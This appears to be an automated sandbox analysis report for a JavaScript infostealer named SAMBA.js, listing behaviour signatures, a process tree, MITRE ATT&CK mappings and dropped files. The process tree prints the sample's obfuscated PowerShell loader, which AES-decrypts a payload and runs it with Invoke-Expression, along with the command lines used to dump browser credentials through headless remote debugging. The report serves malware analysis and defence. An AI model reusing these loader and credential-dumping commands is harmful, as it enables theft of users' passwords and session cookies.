Overview

overview

10

Static

static

1

SAMBA.js

windows10-2004-x64

10

SAMBA.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    128s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/07/2026, 12:21

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    SAMBA.js
  • Size 3.3MB
  • Sample260702-pjs63sas2v
  • SHA256 7860898d22dbb0cfed41640c91d52277c7eb1628f09c569147c343b639428bd9
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarecollectioncredential_accessdiscoveryexecutionpersistenceransomwarespywarestealer

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Uses browser remote debugging 2 TTPs 2 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
    collection
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 40 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\SAMBA.js
    1⤵
      PID:1856
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "try { $Felliniesque = [System.Text.Encoding]::UTF8.GetBytes('pkkey5Q60AcGc0HF'); if ($Felliniesque.Length -lt 32) { $Felliniesque = $Felliniesque + (0..(31 - $Felliniesque.Length)) }; $bonfires = [Convert]::FromBase64String($env:P1+$env:P2); $leeze = $bonfires[0..15]; $ovicular = $bonfires[16..($bonfires.Length-1)]; $undecenoates = [System.Security.Cryptography.Aes]::Create(); $undecenoates.Key = $Felliniesque; $undecenoates.IV = $leeze; $ahnfeltia = $undecenoates.CreateDecryptor(); $coeloms = $ahnfeltia.TransformFinalBlock($ovicular, 0, $ovicular.Length); $cyclobenzaprine = [System.Text.Encoding]::UTF8.GetString($coeloms); Invoke-Expression $cyclobenzaprine; } catch {}"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2944
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        2⤵
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        • outlook_office_path
        PID:5744
        • C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe
          "C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe" /b:chrome /b:edge /b:brave /e:all
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3408
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --disable-gpu --remote-debugging-port=9222 --disable-background-timer-throttling
            4⤵
            • Uses browser remote debugging
            • Loads dropped DLL
            • Enumerates system info in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:5616
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5616240703171 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5616240703171\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5616240703171 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x208,0x20c,0x210,0x1e4,0x214,0x7ff89edcc728,0x7ff89edcc734,0x7ff89edcc740
              5⤵
                PID:4552
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --disable-gpu --remote-debugging-port=9222 --disable-background-timer-throttling
              4⤵
              • Uses browser remote debugging
              • Loads dropped DLL
              • Enumerates system info in registry
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:480
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge480240703515 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge480240703515\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x330,0x334,0x338,0x32c,0x368,0x7ff89e02c188,0x7ff89e02c194,0x7ff89e02c1a0
                5⤵
                  PID:2868
            • C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe
              "C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe" /b:chrome /b:edge /b:brave /e:all
              3⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:264
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:1200
          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
            1⤵
              PID:2520
            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
              1⤵
                PID:3380
              • C:\Windows\system32\sihost.exe
                sihost.exe
                1⤵
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of WriteProcessMemory
                PID:1972
                • C:\Windows\explorer.exe
                  explorer.exe /LOADSAVEDWINDOWS
                  2⤵
                  • Boot or Logon Autostart Execution: Active Setup
                  • Enumerates connected drives
                  • Checks SCSI registry key(s)
                  • Modifies Internet Explorer settings
                  • Modifies registry class
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  • Suspicious use of SetWindowsHookEx
                  PID:1608
              • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                1⤵
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:3580
              • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                1⤵
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:3100

              Network

                    MITRE ATT&CK Enterprise v16

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Command and Scripting Interpreter

                    2
                    T1059

                    JavaScript

                    1
                    T1059.007

                    PowerShell

                    1
                    T1059.001

                    Persistence

                    Boot or Logon Autostart Execution

                    1
                    T1547

                    Active Setup

                    1
                    T1547.014

                    Modify Authentication Process

                    1
                    T1556

                    Privilege Escalation

                    Boot or Logon Autostart Execution

                    1
                    T1547

                    Active Setup

                    1
                    T1547.014

                    Defense Evasion

                    Modify Authentication Process

                    1
                    T1556

                    Modify Registry

                    2
                    T1112

                    Credential Access

                    Credentials from Password Stores

                    1
                    T1555

                    Credentials from Web Browsers

                    1
                    T1555.003

                    Modify Authentication Process

                    1
                    T1556

                    Steal Web Session Cookie

                    1
                    T1539

                    Unsecured Credentials

                    1
                    T1552

                    Credentials In Files

                    1
                    T1552.001

                    Discovery

                    Browser Information Discovery

                    1
                    T1217

                    Peripheral Device Discovery

                    2
                    T1120

                    Query Registry

                    5
                    T1012

                    System Information Discovery

                    4
                    T1082

                    System Location Discovery

                    1
                    T1614

                    System Language Discovery

                    1
                    T1614.001

                    Lateral Movement

                    Collection

                    Data from Local System

                    1
                    T1005

                    Email Collection

                    1
                    T1114

                    Command and Control

                    Exfiltration

                    Impact

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    prep_Activatable Class_Hermes_perf.cache
                    • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                    • Size 599B
                    • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    ChromeData.json
                    • Path C:\Users\Admin\AppData\Local\Temp\ChromeData.json
                    • Size 676B
                    • SHA256 2ff196c6d04f5b32cf3df1d2627fe5ce5b5794936263caea0e389872bd77e4b1
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    DllExtractChromiumSecrets.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\DllExtractChromiumSecrets.dll
                    • Size 45KB
                    • SHA256 b0935270bc8ed6d31c5352c49a8f5d7cbe62457133fe1cf7effeeeb1440e9ce0
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    DumpBrowserSecrets.exe
                    • Path C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe
                    • Size 381KB
                    • SHA256 c934a2db58a1a64ee245a7627843508c6c517fcb06ea6855d26a72b41ae6753b
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    EdgeData.json
                    • Path C:\Users\Admin\AppData\Local\Temp\EdgeData.json
                    • Size 429B
                    • SHA256 9a4895f4fd5ac028b0b3dab4e7f7a4dc744493f4cffa4ab515dd7b3750e3d864
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    settings.dat
                    • Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge480240703515\Crashpad\settings.dat
                    • Size 280B
                    • SHA256 660c76eca1ae24a42a740259a1243833d93c0a5f1ad0a93502799af5ef88d280
                    • MD5 SHA1 SHA512
                    Submit Download

                    throttle_store.dat
                    • Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge480240703515\Crashpad\throttle_store.dat
                    • Size 20B
                    • SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
                    • MD5 SHA1 SHA512
                    Submit Download

                    memory/2944-12-0x00007FF89D170000-0x00007FF89DB14000-memory.dmp
                    Download

                    memory/2944-21-0x00007FF89D170000-0x00007FF89DB14000-memory.dmp
                    Download

                    memory/2944-11-0x00007FF89D170000-0x00007FF89DB14000-memory.dmp
                    Download

                    memory/2944-0-0x00007FF89D2FF000-0x00007FF89D300000-memory.dmp
                    Download

                    memory/2944-13-0x00007FF89D170000-0x00007FF89DB14000-memory.dmp
                    Download

                    memory/2944-14-0x00007FF89D170000-0x00007FF89DB14000-memory.dmp
                    Download

                    memory/2944-15-0x00007FF89D170000-0x00007FF89DB14000-memory.dmp
                    Download

                    memory/2944-16-0x0000013BF6390000-0x0000013BF6444000-memory.dmp
                    Download

                    memory/2944-17-0x0000013BF5FF0000-0x0000013BF5FFA000-memory.dmp
                    Download

                    memory/2944-10-0x00007FF89D170000-0x00007FF89DB14000-memory.dmp
                    Download

                    memory/2944-1-0x00007FF89D170000-0x00007FF89DB14000-memory.dmp
                    Download

                    memory/2944-2-0x00007FF89D170000-0x00007FF89DB14000-memory.dmp
                    Download

                    memory/2944-5-0x0000013BF5ED0000-0x0000013BF5EF2000-memory.dmp
                    Download

                    memory/2944-6-0x00007FF89D170000-0x00007FF89DB14000-memory.dmp
                    Download

                    memory/2944-7-0x00007FF89D170000-0x00007FF89DB14000-memory.dmp
                    Download

                    memory/2944-8-0x00007FF89D170000-0x00007FF89DB14000-memory.dmp
                    Download

                    memory/2944-9-0x00007FF89D170000-0x00007FF89DB14000-memory.dmp
                    Download

                    memory/3580-95-0x000001E082D90000-0x000001E082E90000-memory.dmp
                    Download

                    memory/3580-78-0x000001E0801E0000-0x000001E0802E0000-memory.dmp
                    Download

                    memory/3580-109-0x000001E082B90000-0x000001E082BB0000-memory.dmp
                    Download

                    memory/3580-123-0x000001E0945A0000-0x000001E0945C0000-memory.dmp
                    Download

                    memory/3580-93-0x000001E082930000-0x000001E082950000-memory.dmp
                    Download

                    memory/3580-79-0x000001E0801E0000-0x000001E0802E0000-memory.dmp
                    Download

                    memory/5744-18-0x0000000000400000-0x00000000004C0000-memory.dmp
                    Download

                    memory/5744-52-0x00000000091F0000-0x0000000009266000-memory.dmp
                    Download

                    memory/5744-56-0x0000000074522000-0x0000000074523000-memory.dmp
                    Download

                    memory/5744-50-0x0000000009A00000-0x0000000009F2C000-memory.dmp
                    Download

                    memory/5744-47-0x0000000009300000-0x00000000094C2000-memory.dmp
                    Download

                    memory/5744-27-0x0000000007770000-0x000000000777A000-memory.dmp
                    Download

                    memory/5744-24-0x00000000066C0000-0x0000000006752000-memory.dmp
                    Download

                    memory/5744-23-0x0000000005890000-0x00000000058F6000-memory.dmp
                    Download

                    memory/5744-22-0x0000000005DE0000-0x000000000639A000-memory.dmp
                    Download

                    memory/5744-20-0x0000000074522000-0x0000000074523000-memory.dmp
                    Download